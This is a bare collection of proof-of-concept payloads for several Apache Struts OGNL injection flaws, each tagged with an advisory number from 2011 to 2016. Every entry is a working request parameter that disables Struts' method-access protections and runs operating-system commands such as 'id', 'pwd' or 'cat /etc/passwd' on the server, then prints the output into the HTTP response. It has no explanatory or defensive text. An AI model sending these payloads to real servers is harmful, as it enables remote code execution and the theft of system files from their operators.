Apache Struts POC

2016-S2-037

(%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23wr%3d%23context%5b%23parameters.obj%5b0%5d%5d.getWriter(),%23rs%3d@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()),%23wr.println(%23rs),%23wr.flush(),%23wr.close()):xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=16456&command=id

2016-S2-033

method:%23_memberAccess%3d%40ognl.OgnlContext%20%40DEFAULT_MEMBER_ACCESS%2c%23a%3d%40java.lang.Runtime%40getRuntime%28%29.exec%28%23parameters.command%20%5B0%5D%29.getInputStream%28%29%2c%23b%3dnew%20java.io.InputStreamReader%28%23a%29%2c%23c%3dnew%20%20java.io.BufferedReader%28%23b%29%2c%23d%3dnew%20char%5B51020%5D%2c%23c.read%28%23d%29%2c%23kxlzx%3d%20%40org.apache.struts2.ServletActionContext%40getResponse%28%29.getWriter%28%29%2c%23kxlzx.println%28%23d%20%29%2c%23kxlzx.close&command=id

2013-S2-019

debug=command&expression=#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_memberAccess,true),@java.lang.Runtime@getRuntime().exec('pwd') 

2013-S2-016

redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'cat','/etc/passwd'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}

2013-S2-013

fakeParam=%25%7B(%23_memberAccess%5B'allowStaticMethodAccess'%5D%3Dtrue(%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse(%23writer%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23writer.println('pwd')%2C%23writer.close())%7D

2011-S2-009

foo=(#context["xwork.MethodAccessor.denyMethodExecution"]= new java.lang.Boolean(false), #_memberAccess["allowStaticMethodAccess"]= new java.lang.Boolean(true), @java.lang.Runtime@getRuntime().exec('pwd'))(meh)&z[(foo)('meh')]=true